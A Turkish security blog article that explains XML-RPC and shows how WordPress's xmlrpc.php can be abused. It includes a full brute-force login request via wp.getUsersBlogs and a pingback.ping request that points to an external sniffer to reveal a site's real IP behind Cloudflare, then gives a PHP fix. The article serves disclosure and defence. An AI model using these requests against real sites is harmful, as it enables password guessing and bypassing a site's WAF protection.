XML-RPC ile WAF Arkasındaki Sunucuların Gerçek IP'lerini Öğrenmek

Ziyahan Albeniz - 27 Mayıs 2019 -

XML-RPC günümüz Wordpress site sahiplerinin çoğunun bildiği bir kavram. Peki, XML-RPC dizaynı ne kadar güvenli? XML-RPC ile oluşabilen muhtemel saldırılar ve WP'nin pingback özelliği ortaya çıkan tehlikeyi yazımızda bulabilirsiniz.

XML-RPC ile WAF Arkasındaki Sunucuların Gerçek IP'lerini Öğrenmek

Dağıtık sistemlerin birbirleriyle haberleşmeleri 1990'ların sonunda kendini yakıcı bir ihtiyaç olarak hissettirdiğinde, konuşulan ve bugüne dek varlığını sürdüren çözümlerden biri de XML-RPC idi. Yani XML formatında data transferi yaparak, Remote Procedure Call, uzaktan prosedür çağrımına imkân veren protokol.

Bu protokol sayesinde HTTP protokolü aktarım kanalı olarak kullanılıp, yine yaygın ve platform agnostik olan XML sentaksı ile sistemler birbirlerinde prosedür çağrıları tetikleyecek; çalışma sonucunu da dönen değerler olarak elde edeceklerdi.

En yalın haliyle XML-RPC mesajı basit olarak gövdesinde bir XML verisi bulunduran, HTTP POST mesajıdır.

Bu XML mesajındaki prosedür, mesajı teslim alan sunucu tarafında - eğer şartlar uygunsa, yetki vs. - çalıştırılır ve prosedür sonucu yine XML formatında talep sahibi sisteme döndürülür:

POST /RPC2 HTTP/1.1
User-Agent: XXX
Host: example.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0"?>
<methodCall>
   <methodName>examples.getStateName</methodName>
   <params>
      <param>
         <value><i4>41</i4></value>
      </param>
   </params>
</methodCall>

Yukarıdaki HTTP isteğinden görüleceği üzere bu prosedür çağrısında methodName ile çağrımı yapılan prosedür yer alırken; params nodunun altında da prosedürün çalışması için ihtiyaç duyulan parametreler gönderilmektedir.

Aslında burada söz konusu olan tipik bir HTTP istek ve yanıtı. Normal şartlarda HTTP 1.0+'dan itibaren biliyoruz ki Host headerı zaten HTTP mesajlarında zorunlu; ancak söz konusu XML-RPC olduğunda User-Agent değeri de gönderilmesi zorunlu bir istek headerı olarak karşımıza çıkıyor.

Yanı sıra Content-Type application/xml olarak set edilmeli ve Content-Length değeri de gerçek istek yüküne denk bir değer barındırmalıdır.

XML-RPC mesajı ile birlikte gönderilen parametreler, prosedürün ihtiyaç duyduğu sayıda yani  N adet olabilir. Bu parametreler params node'u altında, ihtiyaç duyulan parametre adedince param alt node'unu içermeli.

<params>
    <param>
        <value><i4>41</i4></value>
    </param>
    <param>
        <value><i4>42</i4></value>
    </param>
    <param>
        <value><i4>43</i4></value>
    </param>
</params>

Görüleceği üzere Param alt-node'u da value adında bir başka alt-node'u içeriyor. Bu noktada parametre adına ihtiyacımız yok. Bilindiği üzere prosedürlere gönderilen parametrelerde parametrelerin gönderim sıraları bu hususta yeterli olacaktır. Parametre isimlerini göndermeye ihtiyaç yoktur.

value node'unun altında i4 olarak gözüken, ilk bakışta parametre adı olarak algılansa da yukarıda söz ettiğimiz gibi prosedür parametrelerinde parametre adına ihtiyacımız olmayacak. Burada söz konusu olan gönderilen parametrenin tipidir.

Bu tip aşağıdaki tiplerden biri olabilir:

Scalar Tipler

Tag Tip Örnek
<i4> or <int> Dört byte integer. -12
<boolean> Boolean (True:1, False:0) 0 ya da 1
<string> String Hello World
<double> Double  -12.214
<dateTime.iso8601> Tarih / zaman 19980717T14:08:55
<base64> Base64 encode string TmV0c3BhcmtlciBTZWN1cml0eSBTY2FubmVy

Eğer herhangi bir tip belirtilmedi ise, bu durumda varsayılan tip olarak string üzerinden işlem yapılmaktadır.

<struct>

XML-RPC mesajında scalar tipler dışında kullanabileceğiniz farklı tipler de bulunmaktadır. Struct tipi bunlardan biridir.

struct veri tipi member adında alt node'lar içerebilir. Her bir member'ın da name ve value adında kendi alt node'ları olabilir:

<struct>
   <member>
      <name>lowerBound</name>
      <value><i4>18</i4></value>
   </member>
   <member>
      <name>upperBound</name>
      <value><i4>139</i4></value>
   </member>
</struct>

Struct tipi recursive yani özyinelemeli olarak value alanında başka bir scalar tip, struct ya da aşağıda ayrıntılarını göreceğimiz array tipini içerebilir.

<array>

Array tipi data adında tek bir node'a sahiptir. data alt-node'u ise N adet value node'u içerebilir:

<array>
   <data>
      <value><i4>12</i4></value>
      <value><string>Egypt</string></value>
      <value><boolean>0</boolean></value>
      <value><i4>-31</i4></value>
   </data>
</array>

Array tipi de tıpkı struct gibi recursive olabilir.

XML-RPC Yanıtları

Sistemin işleyişinde bir hata olmadığı takdirde, prosedürün döndürdüğü yanıt olumlu ya da olumsuz olsa dahi XML-RPC yanıtları 200 OK status kodu ile dönmeli; HTTP yanıtında Content-Type: application/xml olarak ve Content-Length de dönen yanıtın boyutuna uygun bir biçimde set edilmelidir.

HTTP/1.1 200 OK
Connection: close
Content-Length: 158
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache
<?xml version="1.0"?> <methodResponse>    <params>       <param>          <value><string>South Dakota</string></value>       </param>    </params> </methodResponse>

Dönen HTTP yanıtının body'si yani gövdesi tek bir XML mesajından müteşekkil olmalı; bu XML de <methodResponse> adında bir ana node içermelidir. Dönen yanıtın ayrıntıları bu node'un alt-node'u olarak kompozite edilmelidir.

Yukarıdaki yanıttan farklı olarak XML-RPC yanıtı aynı zamanda <methodResponse> içerisinde fault adında struct tipinde bir alt-node barındırabilir; bu struct da faultCode (integer) ve faultString (string) olarak iki elemana sahip olabilir.

HTTP/1.1 200 OK
Connection: close
Content-Length: 426
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache
<?xml version="1.0"?> <methodResponse> <fault>     <value>         <struct>             <member>                 <name>faultCode</name>                 <value><int>4</int></value>                 </member>             <member>                 <name>faultString</name>                 <value><string>Too many parameters.</string></value>             </member>           </struct>
    </value> </fault> </methodResponse>

XML-RPC Servisini Kullanarak WAF Arkasındaki Sunucuların Gerçek IP'lerini Öğrenmek

XML-RPC'nin temel amacının dağıtık sistemlerin, farklı platformların birbirleri ile mesaj alışverişinde bulunacağı, birbirleri üzerinde bir dizi işlemi tetikleyecekleri bir mimari inşa etmek olduğunu söylemiştik.

Mobil telefonunuzdan blog sitenizde bir yazı yayınlamak, blog istatistiklerinizi görmek, kimi yazıları silmek, kimi yorumlara onay vermek istemez miydiniz?

Wordpress geliştiricileri kullanıcıların isteklerine kulak vermiş olacaklar ki Wordpress 3.5 sürümünden itibaren XML-RPC servisini varsayılan olarak etkin halde deploy ediyorlar.

Bu sayede Wordpress API'ında bulunan fonksiyonların çağrımı Wordpress XML-RPC servisi ile mümkün olabiliyor.

Wordpress sitenizin http://example.com/wordpress/ adresinde kurulu olduğunu varsayarsak

www.example.com/wordpress/xmlrpc.php URL'i üzerinden bu servise ulaşabilirsiniz.

Sizi aşağıdaki görüntü karşılayacak:

xmlrpc1

O da ne?!

Yukarıda da söz ettiğimiz gibi XML-RPC servislerinin temel şartı gönderilen mesajın POST metodu ile gönderilmesi idi. XML-RPC servisine tarayıcıdan erişmek istediğimizde bu gerekliliği bize hatırlatan bir uyarı mesajı ile karşılaştık.

Şimdi Wordpress'ın desteklediği tüm XML-RPC çağrılarının bir listesini aşağıdaki HTTP mesajı ile alalım:

<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

xmlrpc2

Görüleceği üzere Wordpress sistemi tarafından desteklenen pek çok metot mevcut.

Peki güvenlik açısından bu ne ifade ediyor?

Desteklenen bu metotlar, brute-force, internal sistem üzerinde port scanning gibi farklı saldırı tiplerinde kullanılabilir. Bu konuda yazılmış pek çok bug disclosure, write-up'ı hali hazırda okumuş olabilir yahut yakın bir gelecekte tesadüf edebilirsiniz.

Brute-Force Saldırısına Bir Örnek

POST /xmlrpc.php HTTP/1.1
User-Agent: Fiddler
Host: www.example.com
Content-Length: 164
<methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param>
<value>admin</value>
</param> <param>
<value>pass</value>
</param> </params> </methodCall>

Yanıt:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 May 2019 13:30:17 GMT
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.1.21
Cache-Control: private, must-revalidate
Expires: Sun, 02 Jun 2019 13:30:17 GMT
Content-Length: 403
<?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault>      <value>          <struct>              <member>                <name>faultCode</name>                <value><int>403</int></value>              </member>              <member>                <name>faultString</name>                <value><string>Incorrect username or password.</string></value>              </member>            </struct>         </value>   </fault>
</methodResponse>

Görüleceği üzere yanlış kullanıcı adı ve parola gönderiminde 403 kodu ile "Incorrect username or password." mesajı alınmakta.

Pek çok durumda bloğun admin paneli login ekranı üzerinden yapılan ve belirli bir limitten sonra kullanıcıyı banlayan sistemler, XML-RPC istekleri söz konusu olduğunda bu tedbiri uygulamamaktadır.

Fakat biz bu blog postumuzda, bugüne kadar değinilmemiş bir noktaya değinmek istiyoruz. Wordpress'in XML-RPC servisleri ile ping back metodu kullanarak, hedef siteler, örneğin Cloudflare gibi bir mekanizmanın ardında dahi olsalar, bu sitelerin gerçek IP adreslerini elde edebilmek.

Kulağa imkânsız mı geliyor?

Cross-Site Port Attack (XSPA) ya da IP Disclosure

Öncelikle bu saldırının zihnimizde hiçbir boşluk olmadan, bir mantık silsilesinde yer bulması için birkaç ön bilgi verelim.

Wordpress'in pingback ve trackback özelliklerini duymuş muydunuz?

Wordpress'in pingback özelliği ile  yazdığınız bir blog postta başka bir sitedeki blog post'a link veriyorsanız, sizin sisteminiz bu referansı ilgili siteye ping back olarak bildirebiliyor. Bu da aslında referans verilen blog postun altına bu konuda küçük bir yorum eklenmesi demek. Bu özellik sayesinde Wordpress blog siteleri bugün SEO dünyasında backlink olarak bilinen özellikle arama motoru sonuçlarında ratinglerini arttırmış oluyorlar.

Şimdi anlatacağımız başlıkta, bu nasıl bir güvenlik zafiyetine sebep olabilir ki?

<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

Yukarıdaki istekle XML-RPC endpoint'inin desteklediği pek çok metodu görmüştük. Bunların arasında pingback.ping var mı diye kontrol etmekle işe koyulalım…

xmlrpc3

Görüleceği üzere hedef sistemdeki XML-RPC endpoint'i pingback.ping isimli prosedür çağrımını destekliyor.

Şimdi bu sistemin işleyişini kötüye kullanıp, sistemdeki bir blog posttan başka bir sitedeki blog posta referans verildiğini söyleyeceğiz. Sistem bunu kontrol etmek için verdiğimiz URL'e bağlanıp blog postu kontrol etmek isteyecek. Elbette ki bu isteği yaparken her ne kadar sitemiz bir WAF'ın örneğin Cloudflare gibi bir sistemin arkasında olsa da bu isteği yaparken web sunucusunun kendi IP adresi üzerinden bu isteği yapacak, biz de böylelikle sunucun gerçek IP adresini elde edeceğiz.

Öncelikle sunucunun IP adresine bir bakalım:

xmlrpc4

104.28.4.43 numaralı IP'den yanıt dönüyor. Bu IP sunucunun kendi IP'si değil. Bu global bir CDN servisi olan Cloudflare'e ait:

xmlrpc4

Şimdi pingback mekanizması kullanarak sunucunun gerçek IP adresini elde edeceğiz.

Tabii yukarıdaki senaryoya göre ping back talebinin kontrolü için sunucunun istek yapacağı sniffer'ı ayağa kaldırmalıyız. Bunun için http://pingb.in servisini kullanacağız. Hemen bir sniffer end-point'i oluşturuyoruz:

xmlrpc5

Şimdi son vuruşa sıra geldi. Öncelikle web sitesinde yayında olan bir blog postun URL'ini alıyoruz. Çünkü bildirimde bulunurken esasında ping-back mesajı şunu demiş olacak, "Sendeki şu blog post'a bir link verdim, kontrol eder misin?"

Blog postumuzun URL'i şu:

http://www.example.com/trump-mayin-istifa-kararini-degerlendirdi/

Şimdi isteğimizi yapıyoruz:

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param>
            <value><string>http://source/url/here</string></value>
        </param>
        <param>
            <value><string>http://target/url/here</string></value>
        </param>
    </params>
</methodCall>

Source URL'i bizim blog postumuza link verildiği söylenen makalenin URL'i. Target da bizim sitemizdeki bir blog post. Sistemimiz source'a gidip, orada gerçekten blog postumuza referans veren bir URL olup olmadığını kontrol edecek.

<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
<param> <value><string>http://pingb.in/p/ca373b33e2f3f5e43f9326d09c15</string></value> </param>
<param>
<value><string>http://www.example.com.com/trump-mayin-istifa-kararini-degerlendirdi/</string></value>
</param>
</params> </methodCall>

Ve HTTP sniffer'ımıza gelen yanıtta sunucunun gerçek IP adresi mevcut:

xmlrpc6

94.73.146.99 IP numarası sunucunun gerçek IP adresi. WAF olmadan doğrudan sunucuya HTTP paketleri gönderip, WAF 'ın pek çok koruma mekanizmasını böylece atlatabilmek mümkün:

xmlrpc7

Çözüm

Bu başlıkta yayınlanan çalışmaların çoğunda XML-RPC servisinin kapatılması önerilse de bu ilgili servise bağlı çalışan çevre sistemlerin işleyişini aksatabilir.

Aşağıdaki kod bloğunu kullanarak, pingback.ping servisini devre dışı bırakabilirsiniz. Kod bloğunu template'inizin function.php sayfasına ekleyebilirsiniz.

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset( $methods['pingback.ping'] );
    return $methods;
} );